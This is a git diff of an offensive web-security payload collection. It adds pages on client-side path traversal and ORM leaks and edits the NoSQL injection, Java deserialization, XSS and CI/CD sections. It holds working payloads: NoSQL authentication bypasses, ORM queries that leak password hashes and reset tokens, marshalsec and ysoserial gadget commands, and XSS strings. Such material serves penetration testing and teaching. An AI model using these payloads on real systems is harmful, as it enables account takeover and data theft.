<groupId>org.codehaus.mojo</groupId>
|
||||
<artifactId>exec-maven-plugin</artifactId>
|
||||
<version>1.6.0</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<id>run-script</id>
|
||||
<phase>validate</phase>
|
||||
<goals>
|
||||
<goal>exec</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
<configuration>
|
||||
<executable>bash</executable>
|
||||
<arguments>
|
||||
<argument>
|
||||
-c
|
||||
</argument>
|
||||
<argument>{XML-Escaped-Payload}</ argument>
|
||||
</arguments>
|
||||
</configuration>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
```
|
||||
|
@ -231,94 +233,6 @@ NOTE: Since this is an XML file - XML special characters must be escaped.
|
|||
```
|
||||
|
||||
|
||||
## CI/CD products
|
||||
|
||||
### GitHub Actions
|
||||
|
||||
The configuration files for GH actions are located in the directory `.github/workflows/`\
|
||||
You can tell if the action builds pull requests based on its trigger (`on`) instructions:
|
||||
|
||||
```yaml
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
pull_request:
|
||||
```
|
||||
|
||||
In order to run an OS command in an action that builds pull requests - simply add a `run` instruction to it.\
|
||||
An action may also be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction:
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
print_issue_title:
|
||||
runs-on: ubuntu-latest
|
||||
name: Print issue title
|
||||
steps:
|
||||
- run: echo "${{github.event.issue.title}}"
|
||||
```
|
||||
|
||||
|
||||
### Azure Pipelines (Azure DevOps)
|
||||
|
||||
The configuration files for azure pipelines are normally located in the root directory of the repository and called - `azure-pipelines.yml`\
|
||||
You can tell if the pipeline builds pull requests based on its trigger instructions. Look for `pr:` instruction:
|
||||
|
||||
```yaml
|
||||
trigger:
|
||||
branches:
|
||||
include:
|
||||
- master
|
||||
- refs/tags/*
|
||||
pr:
|
||||
- master
|
||||
```
|
||||
|
||||
|
||||
### CircleCI
|
||||
|
||||
The configuration files for CircleCI builds are located in `.circleci/config.yml`\
|
||||
By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `run` instruction to the step.
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
build:
|
||||
docker:
|
||||
- image: cimg/base:2022.05
|
||||
steps:
|
||||
- run: echo "Say hello to YAML!"
|
||||
```
|
||||
|
||||
### Drone CI
|
||||
|
||||
The configuration files for Drone builds are located in `.drone.yml`\
|
||||
Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `commands` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- name: do-something
|
||||
image: some-image:3.9
|
||||
commands:
|
||||
- {Payload}
|
||||
```
|
||||
|
||||
|
||||
### BuildKite
|
||||
|
||||
The configuration files for BuildKite builds are located in `.buildkite/*.yml`\
|
||||
BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment.
|
||||
|
||||
In order to run an OS command in a workflow that builds pull requests - simply add a `command` instruction to the step.
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- label: "Example Test"
|
||||
command: echo "Hello!"
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
@ -326,3 +240,4 @@ steps:
|
|||
* [Poisoned Pipeline Execution](https://www.cidersecurity.io/top-10-cicd-security-risks/poisoned-pipeline-execution-ppe/)
|
||||
* [DEF CON 25 - spaceB0x - Exploiting Continuous Integration (CI) and Automated Build systems](https://youtu.be/mpUDqo7tIk8)
|
||||
* [Azure-Devops-Command-Injection](https://pulsesecurity.co.nz/advisories/Azure-Devops-Command-Injection)
|
||||
* [x33fcon lighting talk - Hacking Java serialization from python - Tomasz Bukowski](https://youtu.be/14tNFwfety4)
|
58
Client Side Path Traversal/README.md
Normal file
58
Client Side Path Traversal/README.md
Normal file
|
@ -0,0 +1,58 @@
|
|||
# Client Side Path Traversal
|
||||
|
||||
Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
|
||||
It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
|
||||
Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
|
||||
|
||||
|
||||
## Tools
|
||||
|
||||
* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
|
||||
|
||||
|
||||
## CSPT to XSS
|
||||
|
||||
![](https://matanber.com/images/blog/cspt-query-param.png)
|
||||
|
||||
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is refered to as a CSPT vulnerability.
|
||||
|
||||
**Example**:
|
||||
|
||||
* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
|
||||
* Then fetch the content of `https://example.com/newitems/<newsitemid>`
|
||||
* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
|
||||
* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
|
||||
|
||||
|
||||
## CSPT to CSRF
|
||||
|
||||
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
|
||||
|
||||
| | CSRF | CSPT2CSRF |
|
||||
| ------------------------------------------- | ----------------- | ------------------ |
|
||||
| POST CSRF ? | :white_check_mark: | :white_check_mark: |
|
||||
| Can control the body ? | :white_check_mark: | :x: |
|
||||
| Can work with anti-CSRF token ? | :x: | :white_check_mark: |
|
||||
| Can work with Samesite=Lax ? | :x: | :white_check_mark: |
|
||||
| GET / PATCH / PUT / DELETE CSRF ? | :x: | :white_check_mark: |
|
||||
| 1-click CSRF ? | :x: | :white_check_mark: |
|
||||
| Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
|
||||
|
||||
|
||||
Real-World Scenarios:
|
||||
|
||||
* 1-click CSPT2CSRF in Rocket.Chat
|
||||
* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
|
||||
* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
|
||||
* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
|
||||
* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper- Maxence Schmitt](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
|
||||
* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024][https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf]
|
||||
* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
|
||||
* [Tweet - @HusseiN98D - 5 july 2024](https://twitter.com/HusseiN98D/status/1809164551822172616)
|
||||
* [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
|
||||
* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
|
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 407 KiB |
|
@ -78,19 +78,24 @@ Wicket1 @jacob-baines wicket-util:6.23.0, s
|
|||
- [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool
|
||||
- [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form
|
||||
- [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe)
|
||||
- [k3idii/Deserek](https://github.com/k3idii/Deserek)
|
||||
```java
|
||||
java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin
|
||||
python deserek.py yss_base.bin --format python > yss_url.py
|
||||
python yss_url.py yss_new.bin
|
||||
java -cp JavaSerializationTestSuite DeSerial yss_new.bin
|
||||
```
|
||||
- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
|
||||
|
||||
```java
|
||||
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
||||
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
|
||||
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
|
||||
|
||||
-a - generates/tests all payloads for that marshaller
|
||||
-t - runs in test mode, unmarshalling the generated payloads after generating them.
|
||||
-v - verbose mode, e.g. also shows the generated payload in test mode.
|
||||
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
|
||||
arguments - Gadget specific arguments
|
||||
```
|
||||
```java
|
||||
$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
|
||||
$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
|
||||
$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
|
||||
// -a - generates/tests all payloads for that marshaller
|
||||
// -t - runs in test mode, unmarshalling the generated payloads after generating them.
|
||||
// -v - verbose mode, e.g. also shows the generated payload in test mode.
|
||||
// gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
|
||||
// arguments - Gadget specific arguments
|
||||
```
|
||||
|
||||
Payload generators for the following marshallers are included:<br />
|
||||
|
||||
|
|
|
@ -49,6 +49,7 @@ The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.
|
|||
## Mongo ObjectId
|
||||
|
||||
Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:
|
||||
|
||||
* **Timestamp** (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970).
|
||||
* **Machine Identifier** (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
|
||||
* **Process ID** (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
|
||||
|
@ -71,7 +72,7 @@ Token example
|
|||
* Python script to recover the `timestamp`, `process` and `counter`
|
||||
```py
|
||||
def MongoDB_ObjectID(timestamp, process, counter):
|
||||
return "%08x%08x%06x" % (
|
||||
return "%08x%10x%06x" % (
|
||||
timestamp,
|
||||
process,
|
||||
counter,
|
||||
|
@ -79,11 +80,15 @@ Token example
|
|||
|
||||
def reverse_MongoDB_ObjectID(token):
|
||||
timestamp = int(token[0:8], 16)
|
||||
process = int(token[8:16], 16)
|
||||
counter = int(token[16:], 16)
|
||||
process = int(token[8:18], 16)
|
||||
counter = int(token[18:24], 16)
|
||||
return timestamp, process, counter
|
||||
|
||||
|
||||
def check(token):
|
||||
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
|
||||
return token == MongoDB_ObjectID(timestamp, process, counter)
|
||||
|
||||
tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
|
||||
for token in tokens:
|
||||
(timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
|
||||
|
|
|
@ -22,70 +22,70 @@
|
|||
* [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab)
|
||||
* [Burp-NoSQLiScanner - Plugin available in burpsuite](https://github.com/matrix/Burp-NoSQLiScanner)
|
||||
|
||||
|
||||
## Exploit
|
||||
|
||||
### Authentication Bypass
|
||||
|
||||
Basic authentication bypass using not equal ($ne) or greater ($gt)
|
||||
|
||||
```json
|
||||
in DATA
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
login[$regex]=a.*&pass[$ne]=lol
|
||||
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
|
||||
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
|
||||
* in HTTP data
|
||||
```ps1
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
login[$regex]=a.*&pass[$ne]=lol
|
||||
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
|
||||
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
|
||||
```
|
||||
|
||||
* in JSON data
|
||||
```json
|
||||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||||
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
|
||||
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
|
||||
{"username": {"$gt":""}, "password": {"$gt":""}}
|
||||
```
|
||||
|
||||
in JSON
|
||||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||||
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
|
||||
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
|
||||
{"username": {"$gt":""}, "password": {"$gt":""}}
|
||||
```
|
||||
|
||||
### Extract length information
|
||||
|
||||
```json
|
||||
```ps1
|
||||
username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
```
|
||||
|
||||
### Extract data information
|
||||
|
||||
```json
|
||||
in URL
|
||||
username[$ne]=toto&password[$regex]=m.{2}
|
||||
username[$ne]=toto&password[$regex]=md.{1}
|
||||
username[$ne]=toto&password[$regex]=mdp
|
||||
Extract data with "`$regex`" query operator.
|
||||
|
||||
username[$ne]=toto&password[$regex]=m.*
|
||||
username[$ne]=toto&password[$regex]=md.*
|
||||
* HTTP data
|
||||
```ps1
|
||||
username[$ne]=toto&password[$regex]=m.{2}
|
||||
username[$ne]=toto&password[$regex]=md.{1}
|
||||
username[$ne]=toto&password[$regex]=mdp
|
||||
|
||||
in JSON
|
||||
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
||||
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
||||
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
||||
```
|
||||
username[$ne]=toto&password[$regex]=m.*
|
||||
username[$ne]=toto&password[$regex]=md.*
|
||||
```
|
||||
|
||||
Extract data with "in"
|
||||
* JSON data
|
||||
```json
|
||||
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
||||
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
||||
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
||||
```
|
||||
|
||||
Extract data with "`$in`" query operator.
|
||||
|
||||
```json
|
||||
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
|
||||
```
|
||||
|
||||
### SSJI
|
||||
|
||||
```json
|
||||
';return 'a'=='a' && ''=='
|
||||
";return 'a'=='a' && ''=='
|
||||
0;return true
|
||||
```
|
||||
|
||||
|
||||
## Blind NoSQL
|
||||
|
||||
### POST with JSON body
|
||||
|
||||
python script:
|
||||
Python script:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
@ -111,7 +111,7 @@ while True:
|
|||
|
||||
### POST with urlencoded body
|
||||
|
||||
python script:
|
||||
Python script:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
@ -160,7 +160,7 @@ while True:
|
|||
password += c
|
||||
```
|
||||
|
||||
ruby script:
|
||||
Ruby script:
|
||||
|
||||
```ruby
|
||||
require 'httpx'
|
||||
|
@ -187,6 +187,7 @@ while true
|
|||
end
|
||||
```
|
||||
|
||||
|
||||
## MongoDB Payloads
|
||||
|
||||
```bash
|
||||
|
@ -212,6 +213,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
|||
0;return true
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
|
||||
|
@ -219,3 +221,4 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
|||
* [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists)
|
||||
* [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb)
|
||||
* [Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
|
||||
* [MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili - June 23, 2024](https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/)
|
226
ORM Leak/README.md
Normal file
226
ORM Leak/README.md
Normal file
|
@ -0,0 +1,226 @@
|
|||
# ORM Leak
|
||||
|
||||
An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.
|
||||
|
||||
|
||||
## CVE
|
||||
|
||||
* [CVE-2023-47117: Label Studio ORM Leak](https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6hjj-gq77-j4qw)
|
||||
* [CVE-2023-31133: Ghost CMS ORM Leak](https://github.com/TryGhost/Ghost/security/advisories/GHSA-r97q-ghch-82j9)
|
||||
* [CVE-2023-30843: Payload CMS ORM Leak](https://github.com/payloadcms/payload/security/advisories/GHSA-35jj-vqcf-f2jf)
|
||||
|
||||
|
||||
## Django (Python)
|
||||
|
||||
The following code is a basic example of an ORM querying the database.
|
||||
|
||||
```py
|
||||
users = User.objects.filter(**request.data)
|
||||
serializer = UserSerializer(users, many=True)
|
||||
```
|
||||
|
||||
The problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (`**`), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.
|
||||
|
||||
|
||||
### Query filter
|
||||
|
||||
The attacker can control the column to filter results by.
|
||||
The ORM provides operators for matching parts of a value. These operators can utilize the SQL LIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as < and >.
|
||||
|
||||
|
||||
```json
|
||||
{
|
||||
"username": "admin",
|
||||
"password__startswith": "p"
|
||||
}
|
||||
```
|
||||
|
||||
Interesting filter to use:
|
||||
|
||||
* `__startswith`
|
||||
* `__contains`
|
||||
* `__regex`
|
||||
|
||||
|
||||
### Relational Filtering
|
||||
|
||||
Let's use this great example from [PLORMBING YOUR DJANGO ORM, by Alex Brown](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||||
![](https://www.elttam.com/assets/images/blog/2024-06-24-plormbing-your-django-orm/UML-example-app-simplified-highlight1.png)
|
||||
|
||||
We can see 2 type of relationships:
|
||||
|
||||
* One-to-One relationships
|
||||
* Many-to-Many Relationships
|
||||
|
||||
|
||||
#### One-to-One
|
||||
|
||||
Filtering through user that created an article, and having a password containing the character `p`.
|
||||
|
||||
```json
|
||||
{
|
||||
"created_by__user__password__contains": "p"
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
#### Many-to-Many
|
||||
|
||||
Almost the same thing but you need to filter more.
|
||||
|
||||
* Get the user IDS: `created_by__departments__employees__user__id`
|
||||
* For each ID, get the username: `created_by__departments__employees__user__username`
|
||||
* Finally, leak their password hash: `created_by__departments__employees__user__password`
|
||||
|
||||
Use multiple filters in the same request:
|
||||
|
||||
```json
|
||||
{
|
||||
"created_by__departments__employees__user__username__startswith": "p",
|
||||
"created_by__departments__employees__user__id": 1
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Error-based leaking - ReDOS
|
||||
|
||||
If Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.
|
||||
|
||||
```json
|
||||
{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
|
||||
// => Return something
|
||||
|
||||
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||||
// => Error 500 (Timeout exceeded in regular expression match)
|
||||
```
|
||||
|
||||
|
||||
## Prisma (Node.JS)
|
||||
|
||||
**Tools**:
|
||||
|
||||
* [elttam/plormber](https://github.com/elttam/plormber) - tool for exploiting ORM Leak time-based vulnerabilities
|
||||
```ps1
|
||||
plormber prisma-contains \
|
||||
--chars '0123456789abcdef' \
|
||||
--base-query-json '{"query": {PAYLOAD}}' \
|
||||
--leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
|
||||
--contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
|
||||
--verbose-stats \
|
||||
https://some.vuln.app/articles/time-based;
|
||||
```
|
||||
|
||||
**Example**:
|
||||
|
||||
Example of an ORM leak in Node.JS with Prisma.
|
||||
|
||||
```js
|
||||
const posts = await prisma.article.findMany({
|
||||
where: req.query.filter as any // Vulnerable to ORM Leaks
|
||||
})
|
||||
```
|
||||
|
||||
Use the include to return all the fields of user records that have created an article
|
||||
|
||||
```json
|
||||
{
|
||||
"filter": {
|
||||
"include": {
|
||||
"createdBy": true
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Select only one field
|
||||
|
||||
```json
|
||||
{
|
||||
"filter": {
|
||||
"select": {
|
||||
"createdBy": {
|
||||
"select": {
|
||||
"password": true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Relational Filtering
|
||||
|
||||
#### One-to-One
|
||||
|
||||
* [`filter[createdBy][resetToken][startsWith]=06`](http://127.0.0.1:9900/articles?filter[createdBy][resetToken][startsWith]=)
|
||||
|
||||
#### Many-to-Many
|
||||
|
||||
```json
|
||||
{
|
||||
"query": {
|
||||
"createdBy": {
|
||||
"departments": {
|
||||
"some": {
|
||||
"employees": {
|
||||
"some": {
|
||||
"departments": {
|
||||
"some": {
|
||||
"employees": {
|
||||
"some": {
|
||||
"departments": {
|
||||
"some": {
|
||||
"employees": {
|
||||
"some": {
|
||||
"{fieldToLeak}": {
|
||||
"startsWith": "{testStartsWith}"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## Ransack (Ruby)
|
||||
|
||||
Only in Ransack < `4.0.0`.
|
||||
|
||||
![](https://assets-global.website-files.com/5f6498c074436c349716e747/63ceda8f7b5b98d68365bdee_ransack_bruteforce_overview-p-1600.png)
|
||||
|
||||
* Extracting the `reset_password_token` field of a user
|
||||
```ps1
|
||||
GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
|
||||
GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
|
||||
GET /posts?q[user_reset_password_token_start]=2 -> Results in page
|
||||
|
||||
GET /posts?q[user_reset_password_token_start]=2c -> Empty results page
|
||||
GET /posts?q[user_reset_password_token_start]=2f -> Results in page
|
||||
```
|
||||
|
||||
* Target a specific user and extract his `recoveries_key`
|
||||
```ps1
|
||||
GET /labs?q[creator_roles_name_cont]=superadmin&q[creator_recoveries_key_start]=0
|
||||
```
|
||||
|
||||
|
||||
## Resources
|
||||
|
||||
* [PLORMBING YOUR DJANGO ORM - Alex Brown - June 24, 2024](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
||||
* [PLORMBING YOUR PRISMA ORM WITH TIME-BASED ATTACKS - Alex Brown - July 09, 2024](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
||||
* [QuerySet API reference - Django](https://docs.djangoproject.com/en/5.1/ref/models/querysets/)
|
||||
* [Ransacking your password reset tokens - LUKAS EULER - JANUARY 26, 2023](https://positive.security/blog/ransack-data-exfiltration)
|
||||
* [ORM Injection - HackTricks](https://book.hacktricks.xyz/pentesting-web/orm-injection)
|
||||
* [ORM Leak Exploitation Against SQLite - Louis Nyffenegger - PentesterLab](https://pentesterlab.com/blog/orm-leak-with-sqlite3)
|
|
@ -22,6 +22,7 @@
|
|||
|
||||
* [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
|
||||
* [JavanXD/Raceocat](https://github.com/JavanXD/Raceocat) - Make exploiting race conditions in web applications highly efficient and ease-of-use.
|
||||
* [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy + Exploit Timing Attacks
|
||||
|
||||
|
||||
## Labs
|
||||
|
@ -167,3 +168,4 @@ def handleResponse(req, interesting):
|
|||
* [Race conditions on the web - Josip Franjkovic - July 12th, 2016](https://www.josipfranjkovic.com/blog/race-conditions-on-web)
|
||||
* [New techniques and tools for web race conditions - Emma Stocks - 10 August 2023](https://portswigger.net/blog/new-techniques-and-tools-for-web-race-conditions)
|
||||
* [Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat](https://conference.hitb.org/hitbsecconf2022sin/materials/D2%20COMMSEC%20-%20Exploiting%20Race%20Condition%20Vulnerabilities%20in%20Web%20Applications%20-%20Javan%20Rasokat.pdf)
|
||||
* [Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit- @ryotkak - August 2, 2024 ](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)
|
|
@ -63,3 +63,4 @@ if (preg_match($pattern, $subject)) {
|
|||
* [OWASP Validation Regex Repository - OWASP](https://wiki.owasp.org/index.php/OWASP_Validation_Regex_Repository)
|
||||
* [PHP Manual > Function Reference > Text Processing > PCRE > Installing/Configuring > Runtime Configuration](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)
|
||||
* [Intigriti Challenge 1223 - HACKBOOK OF A HACKER](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
||||
* [MyBB Admin Panel RCE CVE-2023-41362 - SorceryIE - 2023-09-11](https://blog.sorcery.ie/posts/mybb_acp_rce/)
|
|
@ -61,6 +61,7 @@
|
|||
- [Bypass ">" using nothing](#bypass--using-nothing)
|
||||
- [Bypass "<" and ">" using < and >](#bypass--and--using--and-)
|
||||
- [Bypass ";" using another character](#bypass--using-another-character)
|
||||
- [Bypass using missing charset header](#bypass-using-missing-charset-header)
|
||||
- [Bypass using HTML encoding](#bypass-using-html-encoding)
|
||||
- [Bypass using Katakana](#bypass-using-katakana)
|
||||
- [Bypass using Cuneiform](#bypass-using-cuneiform)
|
||||
|
@ -962,6 +963,40 @@ Unicode Character U+FF1C and U+FF1E
|
|||
'te' instanceof alert('instanceof') instanceof 'xt';
|
||||
```
|
||||
|
||||
|
||||
### Bypass using missing charset header
|
||||
|
||||
**Requirements**:
|
||||
|
||||
* Server header missing `charset`: `Content-Type: text/html`
|
||||
|
||||
#### ISO-2022-JP
|
||||
|
||||
ISO-2022-JP uses escape characters to switch between several character sets.
|
||||
|
||||
| Escape | Encoding |
|
||||
|-----------|-----------------|
|
||||
| `\x1B (B` | ASCII |
|
||||
| `\x1B (J` | JIS X 0201 1976 |
|
||||
| `\x1B $@` | JIS X 0208 1978 |
|
||||
| `\x1B $B` | JIS X 0208 1983 |
|
||||
|
||||
|
||||
Using the [code table](https://en.wikipedia.org/wiki/JIS_X_0201#Codepage_layout), we can find multiple characters that will be transformed when switching from **ASCII** to **JIS X 0201 1976**.
|
||||
|
||||
| Hex | ASCII | JIS X 0201 1976 |
|
||||
| ---- | --- | --- |
|
||||
| 0x5c | `\` | `¥` |
|
||||
| 0x7e | `~` | `‾` |
|
||||
|
||||
|
||||
**Example**
|
||||
|
||||
Use `%1b(J` to force convert a `\'` (ascii) in to `¥'` (JIS X 0201 1976), unescaping the quote.
|
||||
|
||||
Payload: `search=%1b(J&lang=en";alert(1)//`
|
||||
|
||||
|
||||
### Bypass using HTML encoding
|
||||
|
||||
```javascript
|
||||
|
@ -1307,3 +1342,4 @@ Source: [@pilvar222](https://twitter.com/pilvar222/status/1784618120902005070)
|
|||
- [Bypass < with <](https://hackerone.com/reports/639684)
|
||||
- [Bypassing Signature-Based XSS Filters: Modifying Script Code](https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-script-code)
|
||||
- [Secret Web Hacking Knowledge: CTF Authors Hate These Simple Tricks - Philippe Dourassov - 13 may 2024](https://youtu.be/Sm4G6cAHjWM)
|
||||
- [Encoding Differentials: Why Charset Matters - Stefan Schiller - July 15, 2024](https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/)
|
||||
|
|
|
@ -332,3 +332,4 @@ When doing a code review, you want to make sure that no user input is being trus
|
|||
- [Blind XSS AngularJS Payloads](https://ardern.io/2018/12/07/angularjs-bxss)
|
||||
- [Angular Security](https://angular.io/guide/security)
|
||||
